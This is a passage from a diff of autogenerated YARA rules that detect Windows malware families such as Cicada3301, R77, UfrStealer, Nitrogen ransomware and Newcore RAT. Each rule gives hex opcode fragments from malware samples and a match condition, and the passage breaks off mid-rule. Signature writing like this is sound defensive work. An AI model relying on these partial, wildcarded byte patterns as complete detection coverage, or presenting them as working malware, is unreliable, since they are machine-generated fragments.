33c0 } - $sequence_12 = { 90 4c8b45b8 4d8bc8 4d8b00 } - $sequence_13 = { b801000000 eb09 83c8ff eb04 } - $sequence_14 = { c744242880000000 c744242003000000 4533c9 4533c0 ba00000080 ff15???????? 488bf8 } - $sequence_15 = { 8b4dec 33cd e8???????? 8be5 5d c21000 c745fc02000000 } + $sequence_0 = { 8b7008 8bce 6a00 ff15???????? 8bcf ffd6 5f } + $sequence_1 = { 6a0b 68???????? eb07 6a04 68???????? 8b3f 8b07 } + $sequence_2 = { 72fa 53 ff30 8b45f8 ff37 8b7030 } + $sequence_3 = { e8???????? 8bf2 33c9 c1ee0f 33f0 33ca } + $sequence_4 = { 8955f4 ff7407f8 e8???????? 8bfe 8955f0 83c410 } + $sequence_5 = { ff7034 ff15???????? ffd6 83c410 85c0 0f8490000000 8b4ddc } + $sequence_6 = { 894e44 83f908 73da 8b95b4feffff 3bd7 0f821affffff 8b4dfc } + $sequence_7 = { 397df4 7508 3bc1 0f8411ffffff 85c9 7403 49 } + $sequence_8 = { 8955f4 85c0 7406 c70000000000 85db 0f8420010000 33c0 } + $sequence_9 = { 85db 7469 83fb03 7329 66019e12860000 0f1f440000 8bc7 } condition: - 7 of them and filesize < 1582080 + 7 of them and filesize < 1246208 } -rule MALPEDIA_Win_Rofin_Auto : FILE +rule MALPEDIA_Win_Winsloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c9b1467e-a51a-5bb8-8a94-4fccc519267e" + id = "191c86a4-a63b-58ad-aa56-a92769922387" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rofin_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winsloader_auto.yar#L1-L171" license_url = "N/A" - logic_hash = "d75f02a0b301194d004b242ba71e57b27fdd5fa1479d807d198f353683f5f00e" + logic_hash = "b2fd64965251990b571c8a72ebd9a6faa4e5fa165dfd7a3b0d129cdd9946e8f7" score = 75 quality = 75 tags = "FILE" @@ -131983,32 +131863,38 @@ rule MALPEDIA_Win_Rofin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f804 753f 8b11 8a02 3c30 7507 8b5108 } - $sequence_1 = { 837c241801 7407 33db e9???????? 6a00 6a00 56 } - $sequence_2 = { 56 57 8b7c2414 33c0 33f6 85ff } - $sequence_3 = { e8???????? 8bf0 83c404 803e00 7453 6a0a } - $sequence_4 = { 8a4802 84c9 743f 8a4801 84c9 750e 8a4802 } - $sequence_5 = { 56 3b0d???????? 57 7358 8bc1 c1f805 8d3c85209e4200 } - $sequence_6 = { 45 f2ae 8b442410 f7d1 2bf9 83c00d 8bd1 } - $sequence_7 = { 89b42434010000 c744242800000000 ff15???????? 8d4c2418 51 56 e8???????? } - $sequence_8 = { 59 c3 8b8d90fcffff e9???????? 8b8d90fcffff 81c168030000 e9???????? } - $sequence_9 = { 8b442424 6a40 68???????? 50 e8???????? 83c41c 5f } + $sequence_0 = { 83c40c a4 ffd0 5b 5f } + $sequence_1 = { 83c434 85ff 7510 56 e8???????? 83c404 33c0 } + $sequence_2 = { 8d5c3304 e8???????? 8b0d???????? 8b15???????? 6689841dfcfbffff } + $sequence_3 = { b8???????? 83c40c 66c7843500fcfffff90b 8d4801 8d4900 } + $sequence_4 = { 75f9 2bc1 0fb6f8 888435fefbffff 8d4701 50 } + $sequence_5 = { 8d44020c 0fb6f9 66898435fefbffff 888c3500fcffff 8d4f01 51 8d943501fcffff } + $sequence_6 = { 50 e8???????? 68???????? 8d5c3304 } + $sequence_7 = { 83c40c 03f7 b8???????? 66c78435fcfbffff9001 8d4801 8a10 40 } + $sequence_8 = { 83c40c 6800040000 8d8dfcf7ffff 51 } + $sequence_9 = { 8d8dfcf7ffff e8???????? 85c0 7507 33c0 } + $sequence_10 = { 894df0 8b34cdb86a0110 8b4d08 6a5a 2bce 5b } + $sequence_11 = { 7466 40 68???????? 50 e8???????? 83c408 } + $sequence_12 = { 57 8db8b0c20110 57 ff15???????? ff0d???????? } + $sequence_13 = { 8b85f8f3ffff c68405fcfbffff0b 8b8df8f3ffff 83c101 898df8f3ffff } + $sequence_14 = { 0f84ee020000 66660f1f840000000000 81f900010000 0f8587000000 8bce } + $sequence_15 = { 1bc0 23c1 83c008 5d c3 8b04c50c480110 5d } condition: - 7 of them and filesize < 409600 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Nitrogen_Ransomware_Auto : FILE +rule MALPEDIA_Win_Keyhole_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f1d15105-1f60-56bd-9f57-5d0889e5b371" + id = "1424dce1-e15d-5891-8b31-d03e6f9196b6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen_ransomware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitrogen_ransomware_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keyhole_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "80271e297eab8217b53749d1fda8214698e5eac53c180b085f9fa59013bd1e3e" + logic_hash = "5d8e02829700ab11940f33d62fd46ba422e843d7ddb0ea7b421b42e641a7096f" score = 75 quality = 75 tags = "FILE" @@ -132022,32 +131908,32 @@ rule MALPEDIA_Win_Nitrogen_Ransomware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f26c 4183c405 66410f6ed8 4183f569 8b8c2470030000 4183f46c 660f6eca } - $sequence_1 = { 83c004 31d0 66898424bc020000 0fb79424be020000 8b8424b0020000 83c005 31d0 } - $sequence_2 = { 66898424ae240000 0fb79424b0240000 8b8424a0240000 83c006 31d0 66898424b0240000 0fb79424b2240000 } - $sequence_3 = { 4189c3 8b8424a06a0000 83c01b 663305???????? 89c3 8b8424a06a0000 83c01c } - $sequence_4 = { 83c20d 8944247c 8b8424204f0000 83f274 89442478 8b8424204f0000 89442474 } - $sequence_5 = { 89442428 660fc4cf01 448b8424702a0000 66450fc4cb01 894c2424 4183c107 66410f62c9 } - $sequence_6 = { 83f065 668984247a400000 0fb7442420 83c00e 83f072 668984247c400000 31c0 } - $sequence_7 = { 440fb73d???????? 0f118c24d0650000 8d680a 0fb705???????? 418d4f0a 440fb73d???????? 8d780a } - $sequence_8 = { 6689bc24900a0000 0fb77c245e 6689bc24920a0000 6689b424940a0000 f30f6fac24400a0000 f30f6fa424700a0000 66899c24960a0000 } - $sequence_9 = { ff15???????? 8b542440 4889d9 83ca04 ff15???????? 90 4883c468 } + $sequence_0 = { 8d442404 0f11442404 50 0f11442418 c744240830000000 c744241090f36800 c744241c00000000 } + $sequence_1 = { 2bee 90 8a01 8d4901 884429ff 83ef01 75f2 } + $sequence_2 = { 6a00 ff15???????? 8bd8 85ff 7515 8b0d???????? 81c15d010000 } + $sequence_3 = { 47 83c414 83c614 3bf8 72da a1???????? 33ff } + $sequence_4 = { 83ec08 53 8b5c2418 8bc3 d1e8 56 8d3440 } + $sequence_5 = { c3 a900080000 7404 33c0 eb11 56 53 } + $sequence_6 = { 7507 b9f5060000 eb1a 83f920 7205 83f97e 761e } + $sequence_7 = { 85c0 741f 53 e8???????? 83c404 85c0 } + $sequence_8 = { 3bf7 725d 8b7c2420 8bc2 25ff030000 0fbf844560010000 89442410 } + $sequence_9 = { 8d442420 50 55 6a00 ff15???????? 8b442428 8b542420 } condition: - 7 of them and filesize < 2590720 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Bistromath_Auto : FILE +rule MALPEDIA_Win_Classfon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3bccd3a0-c0bd-5aa2-bcab-9b1969a6c7fd" + id = "a555a1ed-ff7a-5a40-964f-e4a3266a1aa9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bistromath_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.classfon_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "6eb59622b909c4597fcaca67234110606cdc73af8fb69989e1a6ed85248b5331" + logic_hash = "4a5e61a984c75da7dda5bee4683bb4bb3bc0f6865b6aa2b1e5cfe06d77a7200c" score = 75 quality = 75 tags = "FILE" @@ -132061,32 +131947,32 @@ rule MALPEDIA_Win_Bistromath_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff701c e8???????? ff75f8 ba17000000 8945e4 6aff 8bce } - $sequence_1 = { e8???????? 83c408 85c0 7414 8b4d08 89482c 8b4c2434 } - $sequence_2 = { e8???????? 8bf0 85f6 7533 8b4b04 8d4308 50 } - $sequence_3 = { 8bf9 8d45fc 50 8bf2 8b0f e8???????? 83c408 } - $sequence_4 = { e8???????? 8bf8 85ff 7416 ff75fc ff75f4 57 } - $sequence_5 = { 8d850cffffff 6a00 50 e8???????? 83c40c 8d85fcfeffff 50 } - $sequence_6 = { ffb594f4ffff 8bd3 8d8db8f8ffff e8???????? 83c404 8d85b8f8ffff 50 } - $sequence_7 = { ffd0 83c404 83460cff 8b06 c7461400000000 8945fc 751e } - $sequence_8 = { e8???????? 84c0 7504 33f6 eb1e 6a40 e8???????? } - $sequence_9 = { 8d8504ffffff 50 57 ffd6 8985b8feffff 8d45e0 50 } + $sequence_0 = { 0f855c010000 8a442424 8d7c2424 84c0 742a 8b1d???????? a1???????? } + $sequence_1 = { 89be04020000 8b8600020000 3bc7 740e 83f8ff } + $sequence_2 = { 57 b985000000 33c0 8d7c240d c644240c00 f3ab 66ab } + $sequence_3 = { 53 56 8b35???????? 57 8bbc24dc070000 6800010000 8b07 } + $sequence_4 = { 7520 8b4350 6a04 6800200000 } + $sequence_5 = { 6a20 68ff010f00 6a00 8bd0 } + $sequence_6 = { 8bf0 3bf5 0f859d010000 8d4c241c 8d542424 51 8b4c2414 } + $sequence_7 = { 683f000f00 6a00 51 52 ff15???????? 8bf0 85f6 } + $sequence_8 = { 6a01 6800000080 57 ff15???????? 8b742418 83f8ff } + $sequence_9 = { 8b442418 8d4c2400 c744240000000000 51 68???????? } condition: - 7 of them and filesize < 33816576 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Fobber_Auto : FILE +rule MALPEDIA_Win_R77_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "910b3d1e-c7a6-55ab-b1c2-4f8035f4a57d" + id = "b79f20de-193b-5b74-8687-5e00cdb0b22f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fobber_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.r77_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "3cf9174005b14188a8f0ba63481f290f2ae0ab907becb2c7edb09c680f60ed5d" + logic_hash = "ee9f3e01cb496a017b30e9f636bd55f0ca4c077d0d62d251be75c67533f23dc5" score = 75 quality = 75 tags = "FILE" @@ -132100,38 +131986,36 @@ rule MALPEDIA_Win_Fobber_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b750c 8b4d10 39f7 760e } - $sequence_1 = { 57 51 8b7d08 30c0 31c9 f7d1 } - $sequence_2 = { 8d0431 39f8 7607 49 01cf } - $sequence_3 = { 57 e8???????? 85c0 740f 89c1 } - $sequence_4 = { 8d4d08 51 ff31 ffd0 } - $sequence_5 = { 55 89e5 ff750c 6800300000 } - $sequence_6 = { 0453 42 e2f6 59 } - $sequence_7 = { f2ae 31c0 e303 4f } - $sequence_8 = { 8981efc00700 0081efe82300 0081c7371300 0081c7546900 0081c7397d00 00e9 } - $sequence_9 = { 0f85196e0100 807dfc00 7407 8b4df8 836170fd 5e } - $sequence_10 = { 4d fc 02e9 5a a2???????? 92 b4ff } - $sequence_11 = { 0f8423050000 ff7508 e8???????? 59 59 8b4508 } - $sequence_12 = { 43 7706 6205???????? 294a75 f2149c } - $sequence_13 = { 6a52 686bb7ade9 e8???????? 83c408 } - $sequence_14 = { 3bc3 7524 8b451c 3bc3 } - $sequence_15 = { 33db 57 3bcb 0f8499840100 3bf3 0f84a2840100 } + $sequence_0 = { 740c 8b4f0c e8???????? 85c0 } + $sequence_1 = { 740b 8b0f e8???????? 85c0 } + $sequence_2 = { bafeff0000 6623c2 6683f806 721a 41b803000000 } + $sequence_3 = { c1e202 8b4508 0fb60c10 83f91f 757d } + $sequence_4 = { 0f8595010000 c745e4f8630110 e9???????? 894de0 c745e4f8630110 e9???????? } + $sequence_5 = { ba01000000 c1e200 8b4508 0fb60c10 81f990000000 750a } + $sequence_6 = { c745fc???????? eb07 c745fc???????? 8b4dfc 894df8 8b5510 } + $sequence_7 = { 83e03f c1eb06 6bf838 8b049df8a00110 f644072801 7444 837c0718ff } + $sequence_8 = { b801000000 d1e0 8b4d08 0fb61401 85d2 750a } + $sequence_9 = { 488d157ad40000 e8???????? 8bcb 4885c0 740c 4883c420 } + $sequence_10 = { ff15???????? 4889442450 488bd8 48897c2458 8d7d01 4885f6 } + $sequence_11 = { c3 4883ec38 488d05f5d50100 4889442428 488b05???????? 4889442420 48837c242000 } + $sequence_12 = { 488b4c2440 e8???????? eb55 4c8b4c2458 4c8b442450 488d15f3010200 488b4c2440 } + $sequence_13 = { 4885db 7436 488b0d???????? 4885c9 7410 488b4910 488bd3 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 350208 } -rule MALPEDIA_Win_Brambul_Auto : FILE +rule MALPEDIA_Win_Jolob_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4ed55462-e49e-50fe-a0d1-6f0e1f85cf77" + id = "e26fb753-78dd-5e02-86f5-44abfa0b6e1a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brambul_auto.yar#L1-L172" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jolob_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "938c39a82f375c34fe26abb1fc00229e1aa1c5407e38b617fd73b29996474592" + logic_hash = "95fc52fc444139dde815965f9b3fdbca25ad1f5fb52fadd80f33a59c158da935" score = 75 quality = 75 tags = "FILE" @@ -132145,38 +132029,32 @@ rule MALPEDIA_Win_Brambul_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4e03 2bee 8a01 8ad8 80e30f c0e804 } - $sequence_1 = { a3???????? 68???????? 68???????? e8???????? 83c408 50 } - $sequence_2 = { 8d8c2438020000 51 ff15???????? 8bac2428090000 83c9ff 8bfd } - $sequence_3 = { 33c0 8d94240c010000 f2ae f7d1 2bf9 6a00 8bc1 } - $sequence_4 = { 8b4c241c 40 3bc1 89442418 0f8cfefeffff 8b442414 } - $sequence_5 = { 83c40c 8b5514 833a00 0f84db000000 837decfe 0f8ed1000000 c745e401000000 } - $sequence_6 = { 8985a849ffff 8985c05dffff 8985c45dffff 8945f8 895df0 } - $sequence_7 = { 8b4002 8985b049ffff c785ac49ffff02000000 e9???????? f6c140 0f8428010000 f6c120 } - $sequence_8 = { 42 bf08000000 89542410 c6041600 85ed } - $sequence_9 = { 48 234508 8d0440 8d0441 0fb64801 } - $sequence_10 = { 8913 5f d3e7 3bc8 7316 } - $sequence_11 = { 46 6a00 8d849db84dffff 56 } - $sequence_12 = { 0f8e5b020000 68???????? 68???????? 8d54242c 68???????? 52 } - $sequence_13 = { 03f3 8bd9 8dbc379979825a 8bf7 } - $sequence_14 = { 81c404010000 c3 56 8d542414 68???????? } - $sequence_15 = { c1ee17 c1e709 0bf7 33ce 8bf9 33fa } + $sequence_0 = { 6a64 ff15???????? e9???????? 8b431c e8???????? ff7318 e8???????? } + $sequence_1 = { ff15???????? 50 ff15???????? 8d85ecfeffff 50 ff15???????? 85c0 } + $sequence_2 = { 3bc2 75ec 834710f8 8d75dc e8???????? ff75f4 ff15???????? } + $sequence_3 = { 832600 59 8bb720080000 8b2d???????? 85f6 7415 } + $sequence_4 = { 8945e4 e8???????? 8b5de4 8b4f0c 53 } + $sequence_5 = { 8a45ff 88043e 46 83fe04 7c1f 807c3efc0d 7518 } + $sequence_6 = { 8bc6 5e c20400 832700 85f6 7410 8b4618 } + $sequence_7 = { 8d7df4 e8???????? 8b45f4 8906 5f c9 c3 } + $sequence_8 = { 3b4e30 72e9 8918 8b463c } + $sequence_9 = { 3bc3 7407 50 e8???????? 59 895e14 895e10 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Icondown_Auto : FILE +rule MALPEDIA_Win_Cicada3301_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "52465a95-defc-5467-a071-e9d8d0b66fd6" + id = "7338c12c-73b8-5d10-8e46-a50135055df6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icondown_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cicada3301" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cicada3301_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ff2f5c555fcd472199db73f9b56f95ccfa2dde0f7fa2e7a52a938cbd42967fd9" + logic_hash = "71afdc3382366bc56a3a7b41e98090049ed0f50bc476acc71b1f38d7b1e1424b" score = 75 quality = 75 tags = "FILE" @@ -132190,32 +132068,32 @@ rule MALPEDIA_Win_Icondown_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8b4608 8d542414 52 } - $sequence_1 = { 8bcf e8???????? 85c0 7415 8b4c2418 8b10 } - $sequence_2 = { c7466c01000000 8b4b1c 51 ff15???????? 5f 5e 5d } - $sequence_3 = { e8???????? 8d966c020000 52 68e9030000 57 e8???????? 8d8670020000 } - $sequence_4 = { 8b8690000000 8b48f8 85c9 740d 8b4e64 50 51 } - $sequence_5 = { 894e54 8b15???????? 895658 a1???????? 89465c 8b0d???????? } - $sequence_6 = { 46 f680c11c450004 741c 837d1000 } - $sequence_7 = { 895658 a1???????? 89465c 8b0d???????? 894e60 8b15???????? 895664 } - $sequence_8 = { 52 8b481c 51 ff15???????? 8b442404 6a01 } - $sequence_9 = { 740d 8b01 6a01 ff10 8b4e10 } + $sequence_0 = { e8???????? 4c8d057fb12e00 4c89d9 4c89d2 e8???????? 4c8d059db12e00 4c89d9 } + $sequence_1 = { e8???????? 4531ff 4c89f9 4889f2 e8???????? 31db 4889d9 } + $sequence_2 = { f30f6f00 0f104810 0f105020 660f7f842420010000 0f298c2430010000 0f29942440010000 488b542470 } + $sequence_3 = { e9???????? 4885c0 0f8499070000 84db 0f85c9020000 488b9c24b0010000 4839cf } + $sequence_4 = { e8???????? 49ffcf 4d897e48 4d85ed 0f84e2010000 4c896c2428 0f28442460 } + $sequence_5 = { f30f6f8610020000 f30f6f8b08020000 660f70c044 660febc1 f30f7f8308020000 0f1006 0f1103 } + $sequence_6 = { eb21 4889de 4c8d0531002c00 4889e9 4889f2 e8???????? e9???????? } + $sequence_7 = { ff13 e9???????? 4d85f6 7433 498d4c2408 4c89f0 488b4cc1f8 } + $sequence_8 = { e8???????? 0f108424e0000000 0f108c24f0000000 0f10942400010000 0f29442450 0f294c2460 0f29542470 } + $sequence_9 = { c1eb10 488d8c2490020000 488d94248b030000 41b8f5000000 e8???????? 4c8b442440 4c8b4c2438 } condition: - 7 of them and filesize < 5505024 + 7 of them and filesize < 11247616 } -rule MALPEDIA_Win_Newcore_Rat_Auto : FILE +rule MALPEDIA_Win_Pngdowner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c161add4-90a4-5a07-9de8-bcd8a57e3d69" + id = "e2dbfe40-d617-5d1b-bbce-59a19338c6f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newcore_rat_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pngdowner_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "85672d8cf8a6bd59109d6c5a704fff80f074ddc2465adb99808889ae02b39e81" + logic_hash = "c7a4cf22317ae6eb6a1b63ad8076fbfd6db12b13640e6a0471f645fcbb28ed9a" score = 75 quality = 75 tags = "FILE" @@ -132229,34 +132107,34 @@ rule MALPEDIA_Win_Newcore_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b883c200000 52 51 c744241000000000 ff15???????? f7d8 1bc0 } - $sequence_1 = { 51 57 6a01 53 52 55 ff15???????? } - $sequence_2 = { c686c800000043 c6864b01000043 c7466878920310 6a0d e8???????? 59 8365fc00 } - $sequence_3 = { 0f8788000000 0fb69028720010 ff249508720010 33c0 83c40c c3 8b4644 } - $sequence_4 = { 57 8b78f4 894dfc 85db } - $sequence_5 = { 0430 0fb64c2426 8844242f 8bc1 c1e804 83f809 } - $sequence_6 = { 8984242c040000 8b842434040000 53 55 56 57 8bf1 } - $sequence_7 = { 81ec54020000 a1???????? 33c4 8984244c020000 8b842458020000 55 } - $sequence_8 = { b903000000 668994249c000000 668984249e000000 66898c24a0000000 ba01000000 66899424a2000000 b809000000 } - $sequence_9 = { e9???????? 8b442410 6a04 56 50 8bde c744242400000000 } + $sequence_0 = { 83c410 85c0 0f856d010000 8d842418020000 8d8c2498010000 50 } + $sequence_1 = { b910270000 f7f9 52 68???????? 8d942424010000 } + $sequence_2 = { 83f85a 7714 8088????????10 8ac8 80c120 888800e44000 } + $sequence_3 = { b910270000 f7f9 52 68???????? } + $sequence_4 = { 83c8ff eb1f 8bce 83e61f c1f905 8bc6 8b0c8d40e64000 } + $sequence_5 = { 99 b910270000 f7f9 8d84241c010000 } + $sequence_6 = { e8???????? 85ff 0f85cf000000 53 8b5c2428 55 } + $sequence_7 = { 8d7c2420 8d542420 f3ab 8d4c2414 51 6800000100 } + $sequence_8 = { 50 89542414 c644240d73 ff15???????? 85c0 7430 68???????? } + $sequence_9 = { 0f84e9000000 8b7508 8b7d0c 8d0520e34000 } condition: - 7 of them and filesize < 581632 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Agent_Btz_Auto : FILE +rule MALPEDIA_Win_Ufrstealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "63f52dc6-c77d-5450-96ef-d9bb7ca2e2e5" + id = "ba013c32-c7d7-5540-a7af-23c784527e98" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agent_btz_auto.yar#L1-L502" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ufrstealer_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "490f9b875f186054dd3eafec04e94807f52eca52fbc5563b2ddd7496752d38c8" + logic_hash = "5a74533151b417ab8386a9dc0bd4bcb97ff632563f715bef9c755e4394a3e888" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -132268,81 +132146,32 @@ rule MALPEDIA_Win_Agent_Btz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 ffd6 8d54240c 52 ffd7 } - $sequence_1 = { c74608ffffffff f644240801 7409 56 } - $sequence_2 = { 50 ffd3 85c0 75d8 5f 5e 5b } - $sequence_3 = { c706???????? c7460c00000000 895e08 895e04 c7461000000000 895e14 } - $sequence_4 = { ff15???????? b804000f00 8b4df4 64890d00000000 5f 5e 5b } - $sequence_5 = { 56 6a00 68???????? 8935???????? e8???????? } - $sequence_6 = { 6a00 50 ff15???????? 894614 33c0 } - $sequence_7 = { 740e 50 ff15???????? c74608ffffffff f644240801 } - $sequence_8 = { 8d542408 52 c744240c30000000 c744241003000000 } - $sequence_9 = { 8bf1 8b4608 c706???????? 85c0 7413 83f8ff 740e } - $sequence_10 = { 6801010000 ff15???????? 85c0 7415 } - $sequence_11 = { 6a0a 68???????? 6a01 6a00 68???????? } - $sequence_12 = { 51 6a00 6819000200 6a00 68???????? } - $sequence_13 = { 50 68???????? 6a01 68???????? e8???????? 83c410 } - $sequence_14 = { 6a01 6a04 6a01 68???????? } - $sequence_15 = { 50 e8???????? 83c408 6800010000 e8???????? } - $sequence_16 = { 6a01 68???????? e8???????? 83c414 5f 5e 5b } - $sequence_17 = { 89461c 3dea000000 740b 3de5030000 } - $sequence_18 = { 7511 e8???????? 83c020 50 } - $sequence_19 = { 0fb605???????? 66890d???????? 0fb60d???????? 660fafca } - $sequence_20 = { 83c020 50 e8???????? 83c404 33c0 } - $sequence_21 = { 68???????? 6a01 e8???????? 50 e8???????? 83c41c } - $sequence_22 = { 740d 3cff 7409 f6d0 } - $sequence_23 = { c684249200000065 c684249300000073 c684249400000073 c684249500000057 } - $sequence_24 = { 33c9 ff542458 85c0 7420 } - $sequence_25 = { c684248b00000061 c684248c00000074 c684248d00000065 c684248e00000050 c684248f00000072 c68424900000006f } - $sequence_26 = { 57 ff7508 8bf1 33db 895e10 } - $sequence_27 = { 6808020000 50 668945fa 8d85d8fdffff } - $sequence_28 = { 33ff 8d85f8f7ffff 57 50 } - $sequence_29 = { 6a00 6a27 6a02 6a00 6a01 } - $sequence_30 = { 8b85f8feffff 53 8d8df4feffff 51 8d8df8feffff } - $sequence_31 = { ff9574ffffff 8b4de0 89410c 33c0 8be5 5d c20400 } - $sequence_32 = { c684249500000057 c684249600000000 c684241001000047 c684241101000065 c684241201000074 c68424130100004c } - $sequence_33 = { 50 8d85e8fdffff 50 c745fc04010000 } - $sequence_34 = { c684248f00000072 c68424900000006f c684249100000063 c684249200000065 } - $sequence_35 = { 50 8945f8 33ff 8d85f8f7ffff } - $sequence_36 = { 8bc8 66894de0 66894de2 59 6a70 } - $sequence_37 = { 8d8505feffff 50 e8???????? 83c40c } - $sequence_38 = { c645d316 c645d43a c645d53b c645d63b c645d730 } - $sequence_39 = { 488b4338 33d2 488bce 448d4220 } - $sequence_40 = { 488b4b38 ff5160 894330 3dea000000 } - $sequence_41 = { 488b0e 48894628 488b4638 4c8d4c2450 448bc3 } - $sequence_42 = { 488b07 896830 33c0 488b5c2458 488b6c2460 488b742468 4883c440 } - $sequence_43 = { 488b0f 894130 eb06 488b07 896830 33c0 } - $sequence_44 = { 83c904 c1e803 448bc9 440fafc8 } - $sequence_45 = { 488b4638 488b0e 4c8d442450 4533c9 } - $sequence_46 = { 488b4638 ff5060 894630 3de5030000 } - $sequence_47 = { 488bcf c744242088130000 e8???????? 488b5738 } - $sequence_48 = { 488b0f 488901 488b07 488338ff } - $sequence_49 = { 488b0f 48894108 488b0f 488b4108 48894128 488b0f } - $sequence_50 = { 85db 7415 4c8b4f38 488d4804 } - $sequence_51 = { 8d8594faffff 50 68???????? ff15???????? } - $sequence_52 = { 742e f7460800000080 7405 83c60c } - $sequence_53 = { 72e3 8b2d???????? 8d442420 50 ffd5 } - $sequence_54 = { 57 33db 8d84248c000000 6a3c 53 } - $sequence_55 = { 85ed 7506 8b4204 8b680c b86e6b0000 66394504 0f856e010000 } - $sequence_56 = { 8b4604 3938 747b 8b33 57 } - $sequence_57 = { 5e 59 c3 68???????? e8???????? 59 b815000040 } - $sequence_58 = { ff74241c ffd3 837c241000 740a } + $sequence_0 = { 8955f4 3b55f0 0f82ddfcffff 68???????? e8???????? 68???????? } + $sequence_1 = { 72f2 eb1e 8b75e8 46 } + $sequence_2 = { ff35???????? ff15???????? 8bd8 ff75fc ff7608 53 